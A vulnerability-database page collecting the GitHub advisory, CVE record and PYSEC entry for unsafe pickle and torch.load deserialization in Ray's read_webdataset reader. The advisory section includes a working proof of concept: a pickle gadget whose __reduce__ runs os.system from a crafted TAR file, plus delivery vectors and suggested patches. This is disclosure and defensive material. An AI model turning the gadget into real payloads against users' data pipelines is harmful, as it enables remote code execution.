Vulnerability-Lookup

GHSA-HHRP-GW25-JR43

Vulnerability from github – Published: 2026-07-24 15:47 – Updated: 2026-07-24 15:47

Summary

Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Details

Summary

ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha") reader for WebDataset-format TAR files. Its default decoder=True invokes _default_decoder on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation:

.pickle / .pkl -> pickle.loads(value)
.pt / .pth -> torch.load(io.BytesIO(value), weights_only=False)

Both fire during a standard ray.data.read_webdataset(...).take_all() / .iter_batches() call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to read_webdataset) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed.

This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The WebDataset path is a different code site and was not touched.

Vulnerable code (HEAD `a157d4d`)

python/ray/data/_internal/datasource/webdataset_datasource.py lines 175-225, the _default_decoder function:

def _default_decoder(sample, format=True):
    sample = dict(sample)
    for key, value in sample.items():
        extension = key.split(".")[-1]
        ...
        elif extension in ["pt", "pth"]:
            import torch
            # PyTorch 2.6 changed torch.load default weights_only=True, which
            # breaks loading general Python objects previously serialized for
            # WebDataset .pt payloads.
            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219
        elif extension in ["pickle", "pkl"]:
            import pickle
            sample[key] = pickle.loads(value)                                 # line 223
    return sample

The comment for the .pt/.pth branch is itself a security smell: it documents that the maintainer chose weights_only=False to override PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed.

Reachability and default-on confirmation

python/ray/data/read_api.py:2289 defines read_webdataset with default decoder=True:

@PublicAPI(stability="alpha")
def read_webdataset(
    paths,
    *,
    ...
    decoder: Optional[Union[bool, str, callable, list]] = True,
    ...
) -> Dataset:
    ...
    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)

WebDatasetDatasource._read_stream (line 367) calls the decoder unconditionally when not None:

for sample in samples:
    if self.decoder is not None:
        sample = _apply_list(self.decoder, sample, default=_default_decoder)

True is not None evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass decoder=None (or a custom safe decoder). The documentation does not warn about the behavior.

End-to-end reproduction

Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):

import io, os, pickle, subprocess, tarfile, tempfile, sys

MARKER = "/tmp/ray_webdataset_poc_rce_marker"

class Gadget:
    def __reduce__(self):
        cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
               f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
        return (os.system, (cmd,))

with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
    tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
    for name, body in (("000000.txt", b"hello"),
                       ("000000.pkl", pickle.dumps(Gadget()))):
        ti = tarfile.TarInfo(name=name); ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())

Output:

ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
    RCE via ray.data.read_webdataset
    pid=248816
    user=xyz

The .pt/.pth variant is the exact same primitive against the torch.load(io.BytesIO(value), weights_only=False) branch; replace the TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.

Real-world delivery vectors

paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised.
paths=["https://attacker/model.tar"] -- HTTP-served WebDataset.
HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via datasets and feed them to Ray Data.
Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.

Why GHSA-mw35 doesn't cover this

GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback by gating cloudpickle.loads behind RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use pickle.loads and torch.load(weights_only=False) (not cloudpickle.loads).

Suggested patch

Two minimal options, both Ray-internal:

Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the .pt/.pth and .pkl/.pickle branches with a guard:

```python import os _ALLOW_UNSAFE = os.environ.get( "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0" ) == "1"

elif extension in ["pt", "pth"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weights_only=False. Set " f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weights_only=False)

elif extension in ["pickle", "pkl"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value) ```

Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.

Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling ray.data.read_webdataset on an untrusted TAR is equivalent to running attacker code.

References

Source: python/ray/data/_internal/datasource/webdataset_datasource.py:175-225
Public API: python/ray/data/read_api.py:2287-2370 (read_webdataset)
Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0)
Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder.
WebDataset format: https://github.com/webdataset/webdataset

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:47:38Z",
    "nvd_published_at": "2026-07-01T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample\u0027s keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -\u003e `pickle.loads(value)`\n- `.pt`     / `.pth` -\u003e `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n    sample = dict(sample)\n    for key, value in sample.items():\n        extension = key.split(\".\")[-1]\n        ...\n        elif extension in [\"pt\", \"pth\"]:\n            import torch\n            # PyTorch 2.6 changed torch.load default weights_only=True, which\n            # breaks loading general Python objects previously serialized for\n            # WebDataset .pt payloads.\n            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219\n        elif extension in [\"pickle\", \"pkl\"]:\n            import pickle\n            sample[key] = pickle.loads(value)                                 # line 223\n    return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6\u0027s safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n    paths,\n    *,\n    ...\n    decoder: Optional[Union[bool, str, callable, list]] = True,\n    ...\n) -\u003e Dataset:\n    ...\n    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n    if self.decoder is not None:\n        sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn\u0027t explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n    def __reduce__(self):\n        cmd = (f\"/bin/sh -c \\\"printf \u0027RCE via ray.data.read_webdataset\\\\n\"\n               f\"pid=%s\\\\nuser=%s\\\\n\u0027 \\\"$$\\\" \\\"$(whoami)\\\" \u003e {MARKER}\\\"\")\n        return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n    tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n    for name, body in ((\"000000.txt\", b\"hello\"),\n                       (\"000000.pkl\", pickle.dumps(Gadget()))):\n        ti = tarfile.TarInfo(name=name); ti.size = len(body)\n        tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n    RCE via ray.data.read_webdataset\n    pid=248816\n    user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n  a WebDataset shard; the bucket is shared, mis-permissioned, or\n  compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n  pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn\u0027t cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n   pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n   guard:\n\n   ```python\n   import os\n   _ALLOW_UNSAFE = os.environ.get(\n       \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n   ) == \"1\"\n\n   elif extension in [\"pt\", \"pth\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n               f\"with weights_only=False. Set \"\n               f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n               f\"sources.\"\n           )\n       sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n   elif extension in [\"pickle\", \"pkl\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to unpickle WebDataset member {key!r} -- \"\n               f\"untrusted pickle is RCE. Provide your own decoder \"\n               f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n               f\"trusted sources.\"\n           )\n       sample[key] = pickle.loads(value)\n   ```\n\n2. **Drop these branches from the default decoder entirely** and require\n   callers to provide their own decoder when working with .pkl/.pt\n   samples. This is the safer default, matches WebDataset upstream\u0027s\n   guidance (\"by default, use safe decoders\"), and is consistent with\n   the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n  Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n  cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset",
  "id": "GHSA-hhrp-gw25-jr43",
  "modified": "2026-07-24T15:47:38Z",
  "published": "2026-07-24T15:47:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57516"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)"
}

CVE-2026-57516 (GCVE-0-2026-57516)

Vulnerability from cvelistv5 – Published: 2026-07-01 16:36 – Updated: 2026-07-14 21:34 X_Open Source

Title

Ray < 2.56.0 Unsafe Deserialization RCE via WebDataset Reader

Summary

Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.

Severity

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

VulnCheck

References

5 references

URL	Tags
https://github.com/ray-project/ray/releases/tag/r…	release-notes
https://github.com/ray-project/ray/security/advis…	vendor-advisory
https://github.com/ray-project/ray/pull/63469	patchissue-tracking
https://github.com/ray-project/ray/pull/63470	patchissue-tracking
https://www.vulncheck.com/advisories/ray-unsafe-d…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
Anyscale, Inc	Ray	Affected: 0 , < 2.56.0 (semver)

Date Public

2026-05-18 00:00

Credits

jeremysommerfeld8910-cpu shakevsky alexchenai SSJCorpSec thesecguy45 sfwani Rahul Karne

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-57516",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-01T17:53:01.380220Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-01T17:53:07.907Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "affected",
          "packageURL": "pkg:github/ray-project/ray",
          "product": "Ray",
          "repo": "https://github.com/ray-project/ray",
          "vendor": "Anyscale, Inc",
          "versions": [
            {
              "lessThan": "2.56.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:anyscale:ray:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.56.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "jeremysommerfeld8910-cpu"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "shakevsky"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "alexchenai"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "SSJCorpSec"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "thesecguy45"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "sfwani"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Rahul Karne"
        }
      ],
      "datePublic": "2026-05-18T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-502",
              "description": "Deserialization of Untrusted Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T21:34:31.049Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "Release Notes",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
        },
        {
          "name": "GitHub Security Advisory (GHSA-hhrp-gw25-jr43)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
        },
        {
          "name": "Fix PR (1)",
          "tags": [
            "patch",
            "issue-tracking"
          ],
          "url": "https://github.com/ray-project/ray/pull/63469"
        },
        {
          "name": "Fix PR (2)",
          "tags": [
            "patch",
            "issue-tracking"
          ],
          "url": "https://github.com/ray-project/ray/pull/63470"
        },
        {
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "tags": [
        "x_open-source"
      ],
      "title": "Ray \u003c 2.56.0 Unsafe Deserialization RCE via WebDataset Reader",
      "x_generator": {
        "engine": "vulncheck"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-57516",
    "datePublished": "2026-07-01T16:36:55.765Z",
    "dateReserved": "2026-06-24T15:58:58.537Z",
    "dateUpdated": "2026-07-14T21:34:31.049Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-2273

Vulnerability from pysec - Published: 2026-07-01 17:16 - Updated: 2026-07-13 05:51

Details

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Impacted products

Name	purl
ray	pkg:pypi/ray

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "ray",
        "purl": "pkg:pypi/ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.1",
        "0.1.2",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.7.5",
        "0.7.6",
        "0.7.7",
        "0.8.0",
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "1.0.0",
        "1.0.1",
        "1.1.0",
        "1.10.0",
        "1.11.0",
        "1.11.1",
        "1.12.0",
        "1.12.1",
        "1.13.0",
        "1.2.0",
        "1.3.0",
        "1.4.0",
        "1.4.1",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.8.0",
        "1.9.0",
        "1.9.1",
        "1.9.2",
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.10.0",
        "2.11.0",
        "2.12.0",
        "2.2.0",
        "2.20.0",
        "2.21.0",
        "2.22.0",
        "2.23.0",
        "2.24.0",
        "2.3.0",
        "2.3.0rc0",
        "2.3.1",
        "2.30.0",
        "2.31.0",
        "2.32.0",
        "2.32.0rc0",
        "2.33.0",
        "2.34.0",
        "2.35.0",
        "2.36.0",
        "2.36.1",
        "2.37.0",
        "2.38.0",
        "2.39.0",
        "2.4.0",
        "2.40.0",
        "2.41.0",
        "2.42.0",
        "2.42.1",
        "2.43.0",
        "2.44.0",
        "2.44.1",
        "2.45.0",
        "2.46.0",
        "2.47.0",
        "2.47.1",
        "2.48.0",
        "2.49.0",
        "2.49.1",
        "2.49.2",
        "2.5.0",
        "2.5.1",
        "2.50.0",
        "2.50.1",
        "2.51.0",
        "2.51.1",
        "2.51.2",
        "2.52.0",
        "2.52.1",
        "2.53.0",
        "2.54.0",
        "2.54.1",
        "2.55.0",
        "2.55.1",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.7.0",
        "2.7.0rc0",
        "2.7.1",
        "2.7.2",
        "2.8.0",
        "2.8.1",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "2.9.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57516",
    "GHSA-hhrp-gw25-jr43"
  ],
  "details": "Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.",
  "id": "PYSEC-2026-2273",
  "modified": "2026-07-13T05:51:14.996022Z",
  "published": "2026-07-01T17:16:37.390Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ray-project/ray/pull/63469"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ray-project/ray/pull/63470"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

